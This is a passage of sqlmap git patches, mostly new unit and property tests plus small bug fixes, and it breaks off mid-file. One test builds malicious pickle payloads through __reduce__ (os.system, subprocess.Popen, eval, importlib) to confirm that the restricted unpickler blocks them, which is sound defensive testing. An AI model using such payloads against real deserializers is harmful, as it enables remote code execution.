+ +PyYAML is not bundled (and the suite is stdlib-only / no pip), so the spec is read +with a tiny indentation-aware scanner that only needs the paths + info.version. +""" + +import os +import re +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +import lib.utils.api # noqa: F401 (importing registers every route on Bottle's default app) +from lib.core.settings import RESTAPI_VERSION +from thirdparty.bottle.bottle import default_app + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +SPEC = os.path.join(ROOT, "sqlmapapi.yaml") + +# Bottle-only routes that are not part of the documented public contract +INTERNAL_RULES = ("/error/401",) + +HTTP_METHODS = ("get", "post", "put", "delete", "patch", "head", "options") + + +def _normalize_rule(rule): + # Bottle '' / '' -> OpenAPI '{taskid}' / '{filename}' + return re.sub(r"<([^:>]+)(?::[^>]+)?>", r"{\1}", rule) + + +def _app_pairs(): + pairs = set() + for route in default_app().routes: + rule = _normalize_rule(route.rule) + if rule in INTERNAL_RULES: + continue + pairs.add((route.method.lower(), rule)) + return pairs + + +def _spec_paths_and_version(text): + """Returns (set of (method, path), info.version) from the YAML text.""" + pairs = set() + version = None + section = None + current_path = None + + for line in text.splitlines(): + if not line.strip() or line.lstrip().startswith("#"): + continue + + top = re.match(r"^(\S[^:]*):", line) # a column-0 key starts a new top-level section + if top: + section = top.group(1) + current_path = None + continue + + if section == "info": + m = re.match(r"^ version:\s*(.+?)\s*$", line) + if m: + version = m.group(1).strip().strip('"').strip("'") + elif section == "paths": + m = re.match(r"^ (/\S*):\s*$", line) # 2-space path key + if m: + current_path = m.group(1) + continue + m = re.match(r"^ (\w+):\s*$", line) # 4-space method key + if m and current_path and m.group(1).lower() in HTTP_METHODS: + pairs.add((m.group(1).lower(), current_path)) + + return pairs, version + + +class TestOpenAPIDrift(unittest.TestCase): + def setUp(self): + with open(SPEC) as f: + self.spec_pairs, self.spec_version = _spec_paths_and_version(f.read()) + self.app_pairs = _app_pairs() + + def test_parsers_found_something(self): + # guard against a silently-empty parse making the equality checks vacuously pass + self.assertTrue(len(self.app_pairs) >= 15, self.app_pairs) + self.assertEqual(len(self.spec_pairs), len(self.app_pairs)) + + def test_no_undocumented_endpoint(self): + missing = self.app_pairs - self.spec_pairs + self.assertEqual(missing, set(), "served but absent from sqlmapapi.yaml: %s" % sorted(missing)) + + def test_no_phantom_spec_entry(self): + extra = self.spec_pairs - self.app_pairs + self.assertEqual(extra, set(), "in sqlmapapi.yaml but not served: %s" % sorted(extra)) + + def test_version_matches_runtime(self): + self.assertEqual(self.spec_version, RESTAPI_VERSION, "sqlmapapi.yaml version '%s' != RESTAPI_VERSION '%s'" % (self.spec_version, RESTAPI_VERSION)) + + +if __name__ == "__main__": + unittest.main() From 7c401cab644833def78f5ca2de44cacae356d4df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 17:12:52 +0200 Subject: [PATCH 017/165] Adding new unittest --- data/txt/sha256sums.txt | 3 +- lib/core/settings.py | 2 +- tests/test_unpickle_security.py | 121 ++++++++++++++++++++++++++++++++ 3 files changed, 124 insertions(+), 2 deletions(-) create mode 100644 tests/test_unpickle_security.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 9ad288a4d..21ae03dd3 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -d9180ce5490c781b8f8771b0d5754d27f550aae963ad36731e0d0941a0f8590c lib/core/settings.py +36122bca78fe2d2a3b9d2c882ef0ab05a4f4032b3eac7b6c8974871997c24429 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -599,6 +599,7 @@ f3a628db8a3e05baee580c02132e95b164695e4b3ee1785707e3ea148702449a tests/test_tam b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_targeturl.py 639851dc68f62b559b200b09c308e64e453f414969940005bac75dc0ab07a6b6 tests/test_texthelpers.py 708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py +48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py 4f095ebda1b9bddde082ed464e863400cf23e9bf26f081948706213b35069195 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py diff --git a/lib/core/settings.py b/lib/core/settings.py index b5d9d70c9..8db577095 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.111" +VERSION = "1.10.6.112" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/test_unpickle_security.py b/tests/test_unpickle_security.py new file mode 100644 index 000000000..a3cf63a2e --- /dev/null +++ b/tests/test_unpickle_security.py @@ -0,0 +1,121 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Locks the RestrictedUnpickler security control (lib/core/patch.py, installed over +pickle.loads by dirtyPatches()). sqlmap deserializes pickled blobs out of its own +session DB / cache, so the unpickler is an ALLOWLIST: only safe builtin data types +and sqlmap's own (lib/plugins/thirdparty) classes may be reconstructed. + +Two directions, both of which must keep holding: + - LEGIT round-trips sqlmap actually relies on (AttribDict, BigArray, nested + builtins, and - the easy-to-regress one - bytes under PICKLE_PROTOCOL=2, which + emits a _codecs.encode global) must survive base64pickle -> base64unpickle. + - MALICIOUS / exotic globals (eval, os.system, subprocess.Popen, importlib, + operator.attrgetter, and even the non-whitelisted _codecs.lookup) must be + REJECTED at find_class time, before the object is ever built. + +A regression in either direction is a security or a data-loss bug, hence the test. +""" + +import os +import pickle +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() # installs dirtyPatches(), i.e. the RestrictedUnpickler over pickle.loads + +from lib.core.bigarray import BigArray +from lib.core.convert import base64pickle, base64unpickle, encodeBase64 +from lib.core.datatype import AttribDict +from lib.core.settings import PICKLE_PROTOCOL + + +class _EvilReduce(object): + """On unpickling, __reduce__ asks the loader to resolve (and would call) an arbitrary global.""" + def __init__(self, func, args): + self._func = func + self._args = args + + def __reduce__(self): + return (self._func, self._args) + + +def _payload(func, *args): + # built with the REAL pickler (only pickle.loads is restricted, not dumps); base64 to mirror + # exactly what base64unpickle() consumes from sqlmap's session store + return encodeBase64(pickle.dumps(_EvilReduce(func, args), PICKLE_PROTOCOL), binary=False) + + +class TestUnpicklerIsInstalled(unittest.TestCase): + def test_patch_active(self): + # if this is False the whole allowlist is bypassed and the negative tests would pass vacuously + self.assertTrue(getattr(pickle, "_patched", False)) + + +class TestLegitRoundTrips(unittest.TestCase): + def _roundtrip(self, value): + return base64unpickle(base64pickle(value)) + + def test_nested_builtins(self): + value = {"a": [1, 2.5, True, None, complex(1, 2)], "b": (u"x", b"y"), "c": {3, 4}, "d": frozenset([5])} + self.assertEqual(self._roundtrip(value), value) + + def test_bytes_protocol2(self): + # protocol-2 pickling of bytes on Python 3 emits a _codecs.encode global; this is the + # exact case the allowlist explicitly permits, and the one most likely to silently break + for value in (b"", b"\x00\x01\x02binary\xff", bytearray(b"abc")): + self.assertEqual(self._roundtrip(value), value) + + def test_attribdict(self): + value = AttribDict() + value.foo = "bar" + value.nested = {"k": [1, 2]} + restored = self._roundtrip(value) + self.assertIsInstance(restored, AttribDict) + self.assertEqual(restored.foo, "bar") + self.assertEqual(restored.nested, {"k": [1, 2]}) + + def test_bigarray(self): + restored = self._roundtrip(BigArray([1, 2, 3])) + self.assertIsInstance(restored, BigArray) + self.assertEqual(list(restored), [1, 2, 3]) + + +class TestMaliciousRejected(unittest.TestCase): + def _assert_blocked(self, payload): + # find_class() raises ValueError; base64unpickle only swallows TypeError, so it propagates + self.assertRaises(ValueError, base64unpickle, payload) + + def test_dangerous_builtins(self): + # builtins are allowed ONLY for the safe data-type subset; callables must be refused + for func in (eval, getattr, __import__): + self._assert_blocked(_payload(func, "1+1") if func is eval else _payload(func, "x")) + + def test_os_system(self): + self._assert_blocked(_payload(os.system, "echo pwned")) + + def test_subprocess_popen(self): + self._assert_blocked(_payload(subprocess.Popen, "echo pwned")) + + def test_importlib(self): + import importlib + self._assert_blocked(_payload(importlib.import_module, "os")) + + def test_operator_attrgetter(self): + import operator + self._assert_blocked(_payload(operator.attrgetter, "system")) + + def test_codecs_lookup_not_whitelisted(self): + # only _codecs.encode is allowed (for the bytes round-trip); every other _codecs name stays blocked + import codecs + self._assert_blocked(_payload(codecs.lookup, "utf-8")) + + +if __name__ == "__main__": + unittest.main() From c210daca043121f93e76007f9282884bb6a0c285 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 18:17:31 +0200 Subject: [PATCH 018/165] Minor bug fix --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 6 +++--- lib/core/settings.py | 2 +- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 21ae03dd3..87b60e2df 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ d69e84f1648cdb907f5d2dd454f03874a4613752b07867510145d51d84b3c56f lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py b36b085ff1b5797e375c1e2ca3b12c7ab4204f48acd1a1efb075cff8302d9750 lib/core/agent.py ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py -2e5ee80b24bd6dd961b64357e745012145a44d52c49a525d8f5f5e893a8ccb8d lib/core/common.py +1452ffc42657bea207583173de9829dddf4afd9b159c785284e43878de492afb lib/core/common.py 8f1272487e1adfcc8c755a2f56f0c6d21eac5e685a73a9a159482f9dc9142bc5 lib/core/compat.py 742bce10b97034966021ec60c7ac294db4af4fe7893613d63172a02c29f009f8 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -36122bca78fe2d2a3b9d2c882ef0ab05a4f4032b3eac7b6c8974871997c24429 lib/core/settings.py +4d42429d71efaf20f17cc7709b0da60f661c7cd100855c7b71d6248d5d905319 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -601,7 +601,7 @@ b3e13febe9e0ff6f97334f2868655bfdbaa18755e464a6dc4c6d424f513bad02 tests/test_tar 708b3c040f8b677a84020dd6f7c4242f77260b3c6d2697fe8189e1881b0e1365 tests/test_union_engine.py 48b0ae4abe0fdde8ce4975c5cbf4c3514a2815021cb2e3a490a189bea5edfe78 tests/test_unpickle_security.py 4b646f513c6da1e33200184ed6eabe0aa345eb2e2a19598dc123e191168591bf tests/test_urls.py -4f095ebda1b9bddde082ed464e863400cf23e9bf26f081948706213b35069195 tests/_testutils.py +23ffd75b5aec33066e6d6aad01ab2c9c1b12ee20c1a0990f8f1be81f1ad16161 tests/_testutils.py 2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py 81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py 55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py diff --git a/lib/core/common.py b/lib/core/common.py index 87b0f9863..b1b205ddf 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1839,7 +1839,7 @@ def escapeJsonValue(value): retVal = "" for char in value: - if char < ' ' or char == '"': + if char < ' ' or char in ('"', '\\'): # Note: backslash must be escaped too, otherwise a '\' in the value corrupts the surrounding JSON string retVal += json.dumps(char)[1:-1] else: retVal += char @@ -3703,8 +3703,8 @@ def unArrayizeValue(value): if isListLike(value): if not value: value = None - elif len(value) == 1 and not isListLike(value[0]): - value = value[0] + elif len(value) == 1 and not isListLike(next(iter(value))): # Note: next(iter(...)) not value[0] - a set/OrderedSet is list-like but not subscriptable + value = next(iter(value)) else: value = [_ for _ in flattenValue(value) if _ is not None] value = value[0] if len(value) > 0 else None diff --git a/lib/core/settings.py b/lib/core/settings.py index 8db577095..02cee2bdd 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.112" +VERSION = "1.10.6.113" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From be284e9fe57b110c4ed974462dcba0e08dc45d64 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 15 Jun 2026 18:18:05 +0200 Subject: [PATCH 019/165] Adding more unittests --- data/txt/sha256sums.txt | 3 +- lib/core/settings.py | 2 +- tests/_testutils.py | 63 ++++++++++ tests/test_property.py | 264 ++++++++++++++++++++++++++++++++++++++++ 4 files changed, 330 insertions(+), 2 deletions(-) create mode 100644 tests/test_property.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 87b60e2df..11dab7d7b 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -4d42429d71efaf20f17cc7709b0da60f661c7cd100855c7b71d6248d5d905319 lib/core/settings.py +03034e80de6b81ec5d5482f8c4dff1722f636f09e226f42b6849e78164da3682 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py 70ea3768f1b3062b22d20644df41c86238157ec80dd43da40545c620714273c6 lib/core/target.py @@ -589,6 +589,7 @@ caa06fed7323b2bb6d0f2443ce343de94f75bf8ad012c055d5e07741d908ebad tests/test_mis cde0bea1263ae857561f91ed2bd515e972b716743f017d31b1718a8546c72759 tests/test_pagecontent.py 4bac34af2abddce003756d6776e89b2fda220bb7603ef3761f4f37ee29f9c369 tests/test_payload_marking.py 6bfc8201724078bd9d6d559916ef73c9ff97e19b0f2948f37e588a49b027795f tests/test_payloads_structure.py +5dc46919f971f89a3073118ec00bf420cc9cecf0b072b2f896df2f860e87adec tests/test_property.py 5c95e7863190e440234f231864fb1219c35207132762858cc95181c57086bafc tests/test_replication.py 67a5241aeebc20eb1c20cfc490422a59af5179040824e5731bd785db2e6bf750 tests/test_report.py cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_safe2bin.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 02cee2bdd..9d859b1c5 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.113" +VERSION = "1.10.6.114" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/tests/_testutils.py b/tests/_testutils.py index 1858e9d85..7ec9a4e3b 100644 --- a/tests/_testutils.py +++ b/tests/_testutils.py @@ -87,3 +87,66 @@ def set_dbms(name): from lib.core.data import kb kb.stickyDBMS = False Backend.forceDbms(name) + + +# --- property/fuzz testing harness (shared so individual test files don't each reinvent it) --- + +_PROPERTY_BASE = 0x51A1 + + +class Rng(object): + """Deterministic, cross-version-identical PRNG (a pure-integer LCG, no global state). + + sqlmap runs on Python 2.7 and 3.x, whose stdlib `random` yield DIFFERENT sequences + for the same seed - and `random.Random` instance methods are not unified by + patch.unisonRandom() (which only patches the module-level random.choice/randint/ + sample/seed). Property tests need inputs that are byte-for-byte identical on every + interpreter so a CI-only failure reproduces everywhere; integer math is identical + across versions, so this LCG (same constants as unisonRandom) guarantees it by + construction. Draw ONLY through these methods - never random.random()/shuffle()/etc. + """ + + def __init__(self, seed): + self.x = seed & 0xFFFFFF + + def _next(self): + self.x = (1140671485 * self.x + 128201163) % (2 ** 24) + return self.x + + def randint(self, a, b): + return a + self._next() % (b - a + 1) + + def choice(self, seq): + return seq[self.randint(0, len(seq) - 1)] + + def sample(self, seq, k): + # Note: with replacement (matches unisonRandom's _sample); fine for input generation + return [self.choice(seq) for _ in range(k)] + + def blob(self, n): + return bytes(bytearray(self.randint(0, 255) for _ in range(n))) + + +def _label_offset(label): + # stable across versions/runs (unlike hash(), which varies with PYTHONHASHSEED): just sum bytes + return sum(bytearray((label or "").encode("utf-8"))) * 7919 + + +def for_all(testcase, generator, prop, n=400, label=""): + """Property runner: draw `n` cases from generator(rng) and assert prop(case) holds. + + `prop` passes by returning True/None, fails by returning False or raising. On any + failure the EXACT offending input and its case index are reported; the same input + is reproducible (and identical on every interpreter) via Rng(seed_for(label, i)). + """ + base = _PROPERTY_BASE + _label_offset(label) + for i in range(n): + case = generator(Rng(base + i)) + try: + ok = prop(case) + except Exception as ex: + testcase.fail("%s: raised %r on input %r (case %d)" % (label or "property", ex, case, i)) + return + if ok is False: + testcase.fail("%s: property does not hold on input %r (case %d)" % (label or "property", case, i)) + return diff --git a/tests/test_property.py b/tests/test_property.py new file mode 100644 index 000000000..cc1b00e3a --- /dev/null +++ b/tests/test_property.py @@ -0,0 +1,264 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Property/fuzz tests for the pure parsers and transforms. Where the other test +files pin specific examples, these assert INVARIANTS over hundreds of randomized +(but deterministic, cross-version-identical - see _testutils.Rng) inputs, which is +the cheap net for the edge-bug class that example tests miss (commas inside quoted +literals / nested parens, NUL / 0xff / astral code points in codecs, etc.). + +Property families: + - codec/serializer pairs round-trip: decode(encode(x)) == x + - structure transforms preserve their contract (flat/de-arrayized/permutation) + - string transforms hold their stated invariant (ASCII-only, no newlines, ...) + - random helpers respect length / alphabet / range bounds + - splitFields/zeroDepthSearch partition faithfully and never cut inside a group + - a batch of transforms never raise on arbitrary input + +On failure _testutils.for_all prints the exact offending input + its case index so +it reproduces on any interpreter. +""" + +import os +import string +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, for_all, set_dbms +bootstrap() + +from extra.cloak.cloak import cloak, decloak +from lib.core.common import (escapeJsonValue, filterStringValue, flattenValue, isListLike, normalizeUnicode, + prioritySortColumns, randomInt, randomRange, randomStr, safeSQLIdentificatorNaming, + sanitizeStr, splitFields, unArrayizeValue, unsafeSQLIdentificatorNaming, urldecode, + urlencode, zeroDepthSearch) +from lib.core.convert import (base64pickle, base64unpickle, decodeBase64, decodeHex, dejsonize, encodeBase64, + encodeHex, getBytes, getConsoleLength, getOrds, getText, htmlEscape, htmlUnescape, + jsonize, stdoutEncode) +from lib.core.data import kb +from lib.utils.safe2bin import safecharencode + + +# --- input strategies (draw ONLY through rng: randint / choice / sample / blob) --- + +# deliberately loaded with structural metacharacters + tricky code points +_TEXT = [u"a", u"Z", u"7", u" ", u",", u"'", u'"', u"(", u")", u"\\", u";", + u"\n", u"\t", u"\x00", u"\x7f", u"\xe9", u"\u0107", u"\u4e2d", u"\U0001F600", u" FROM "] + + +def gen_text(rng): + return u"".join(rng.choice(_TEXT) for _ in range(rng.randint(0, 24))) + + +def gen_ascii(rng): + return u"".join(rng.choice(string.printable) for _ in range(rng.randint(0, 20))) + + +def gen_blob(rng): + return rng.blob(rng.randint(0, 32)) + + +def gen_json(rng): + # JSON-safe only: tuples become lists and non-str keys are coerced, so exclude them here + if rng.randint(0, 4) == 0: + return [gen_json(rng) for _ in range(rng.randint(0, 3))] + if rng.randint(0, 4) == 0: + return dict((u"k%d" % j, gen_json(rng)) for j in range(rng.randint(0, 3))) + return rng.choice([0, 1, -1, 2 ** 31, 1.5, -0.25, True, False, None, u"", u"x", u"\u0107", u'a"b,c']) + + +def gen_pickle(rng): + kind = rng.randint(0, 9) + if kind < 5: + return rng.choice([0, -7, 2 ** 40, 3.5, True, False, None, u"\u0107x", b"\x00\xff", u""]) + if kind < 7: + return [gen_pickle(rng) for _ in range(rng.randint(0, 3))] + if kind < 8: + return tuple(gen_pickle(rng) for _ in range(rng.randint(0, 3))) + if kind < 9: + return set(rng.choice([1, 2, 3, u"a", u"b"]) for _ in range(rng.randint(0, 3))) + return dict((u"k%d" % j, gen_pickle(rng)) for j in range(rng.randint(0, 2))) + + +def gen_columns(rng): + return [rng.choice([u"id", u"userid", u"name", u"password", u"a", u"created_id", u"x_id_y", u"data"]) + for _ in range(rng.randint(0, 6))] + + +def gen_ident(rng): + # clean (round-trippable) identifier names: letters/digits/underscore, optional dot/space + chars = string.ascii_letters + string.digits + u"_" + name = u"".join(rng.choice(chars) for _ in range(rng.randint(1, 10))) + if rng.randint(0, 3) == 0: + name += rng.choice([u".col", u" alias", u"_2"]) + return name + + +# well-formed field lists: balanced parens, properly closed/escaped quotes +_TOKENS = [u"foo", u"bar", u"id", u"a b", u"1", u"*", u"max(a)", u"COALESCE(a, b, c)", u"func(x, y)"] +_QUOTED = [u"a,b", u"x, y", u"f(1, 2)", u"o''k", u"plain", u""] + + +def gen_sql_fields(rng): + parts = [] + for _ in range(rng.randint(1, 5)): + t = rng.randint(0, 9) + if t < 5: + parts.append(rng.choice(_TOKENS)) + elif t < 8: + q = rng.choice([u"'", u'"']) + parts.append(q + rng.choice(_QUOTED) + q) + else: + parts.append(u"g(%s, %s)" % (rng.choice(_TOKENS), rng.choice(_TOKENS))) + return u", ".join(parts) + + +class TestCodecRoundTrips(unittest.TestCase): + def test_base64(self): + for_all(self, gen_blob, lambda b: decodeBase64(encodeBase64(b)) == b, label="base64") + + def test_hex(self): + for_all(self, gen_blob, lambda b: decodeHex(encodeHex(b)) == b, label="hex") + + def test_getbytes_gettext(self): + # unsafe=False -> plain UTF-8 (no \xNN escape interpretation), so it is a clean round-trip + for_all(self, gen_text, lambda s: getText(getBytes(s, unsafe=False)) == s, label="bytes-text") + + def test_json(self): + for_all(self, gen_json, lambda v: dejsonize(jsonize(v)) == v, label="json") + + def test_pickle(self): + for_all(self, gen_pickle, lambda v: base64unpickle(base64pickle(v)) == v, label="pickle") + + def test_html_escape(self): + for_all(self, gen_text, lambda s: htmlUnescape(htmlEscape(s)) == s, label="html") + + def test_cloak(self): + for_all(self, gen_blob, lambda b: decloak(data=cloak(data=b)) == b, label="cloak") + + +class TestStructureTransforms(unittest.TestCase): + def test_unarrayize_never_listlike(self): + # the whole point of unArrayizeValue is that the result is a scalar, never a list/tuple + # (gen_pickle includes sets - they used to crash here; see test_unarrayize_set regression) + for_all(self, gen_pickle, lambda v: not isListLike(unArrayizeValue(v)), label="unarrayize") + + def test_flatten_is_flat(self): + for_all(self, gen_pickle, lambda v: all(not isListLike(x) for x in flattenValue([v])), label="flatten") + + def test_unarrayize_set(self): + # regression: a 1-element set is list-like but not subscriptable; unArrayizeValue must + # de-arrayize it rather than crash on value[0] + self.assertEqual(unArrayizeValue(set(["x"])), "x") + self.assertEqual(unArrayizeValue(set()), None) + self.assertEqual(unArrayizeValue(["1"]), "1") # ordinary fast-path still works + + def test_prioritysort_is_permutation(self): + # sorting must not invent/drop columns, and must be idempotent + def prop(cols): + out = prioritySortColumns(cols) + return sorted(out) == sorted(cols) and prioritySortColumns(out) == out + for_all(self, gen_columns, prop, label="prioritysort") + + +class TestStringTransforms(unittest.TestCase): + def test_normalize_unicode_is_ascii(self): + for_all(self, gen_text, lambda s: all(ord(c) < 128 for c in normalizeUnicode(s)), label="normalize-ascii") + + def test_sanitizestr_strips_newlines(self): + for_all(self, gen_text, lambda s: "\n" not in sanitizeStr(s) and "\r" not in sanitizeStr(s), label="sanitizestr") + + def test_filterstringvalue_charset(self): + allowed = set("0123456789abcdef") + for_all(self, gen_text, lambda s: set(filterStringValue(s, r"[0-9a-f]")) <= allowed, label="filterstring") + + def test_escapejson_no_control_char(self): + # control chars and bare quotes must be escaped away (output is JSON-string-body safe re: those) + for_all(self, gen_text, lambda s: all(c >= " " for c in escapeJsonValue(s)), label="escapejson-invariant") + + def test_escapejson_json_roundtrip(self): + # escapeJsonValue(s) embedded in a JSON string must parse back to s - for ALL text, + # including backslash (the F1 fix; this used to fail on '\') + import json + for_all(self, gen_text, lambda s: json.loads(u'"%s"' % escapeJsonValue(s)) == s, label="escapejson-roundtrip") + + def test_escapejson_backslash(self): + # regression for F1: backslash is now escaped, so the round-trip holds + import json + self.assertEqual(json.loads(u'"%s"' % escapeJsonValue(u"a\\b")), u"a\\b") + + def test_getords_length(self): + for_all(self, gen_text, lambda s: len(getOrds(s)) == len(s) and all(isinstance(o, int) for o in getOrds(s)), label="getords") + + def test_consolelength_ascii(self): + for_all(self, gen_ascii, lambda s: getConsoleLength(s) == len(s), label="consolelength") + + +class TestRandomHelpers(unittest.TestCase): + def test_randomstr_length_and_alphabet(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: len(randomStr(n)) == n and set(randomStr(n)) <= set(string.ascii_letters), label="randomstr") + + def test_randomstr_lowercase(self): + for_all(self, lambda r: r.randint(0, 16), + lambda n: set(randomStr(n, lowercase=True)) <= set(string.ascii_lowercase), label="randomstr-lower") + + def test_randomint_digits(self): + for_all(self, lambda r: r.randint(1, 8), lambda n: len(str(randomInt(n))) == n, label="randomint") + + def test_randomrange_bounds(self): + def prop(_): + a = _[0] + b = _[0] + _[1] + return a <= randomRange(a, b) <= b + for_all(self, lambda r: (r.randint(-50, 50), r.randint(0, 100)), prop, label="randomrange") + + +class TestSplitterInvariants(unittest.TestCase): + def test_reconstruction(self): + # pure partition identity: rejoining the 0-depth split must reproduce the (space-normalized) input + for_all(self, gen_text, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-text") + for_all(self, gen_sql_fields, lambda s: u",".join(splitFields(s)) == s.replace(", ", ","), label="split-reconstruct-sql") + + def test_never_cuts_inside_parens(self): + # on well-formed input no field may carry unbalanced parens (i.e. a split never lands inside a group) + for_all(self, gen_sql_fields, lambda s: all(f.count(u"(") == f.count(u")") for f in splitFields(s)), label="split-balanced") + + def test_zerodepth_indices_are_real_commas(self): + def prop(s): + idx = zeroDepthSearch(s, ",") + return all(s[i] == u"," for i in idx) and idx == sorted(idx) and len(set(idx)) == len(idx) + for_all(self, gen_text, prop, label="zerodepth-commas-text") + for_all(self, gen_sql_fields, prop, label="zerodepth-commas-sql") + + +class TestIdentifierRoundTrip(unittest.TestCase): + def setUp(self): + self._saved = kb.get("forcedDbms") + set_dbms("MySQL") # identifier quoting is DBMS-specific; pin a case-preserving back-end + + def tearDown(self): + kb.forcedDbms = self._saved + + def test_safe_unsafe_roundtrip(self): + for_all(self, gen_ident, lambda n: unsafeSQLIdentificatorNaming(safeSQLIdentificatorNaming(n)) == n, label="identifier") + + +class TestRobustness(unittest.TestCase): + # total functions: must 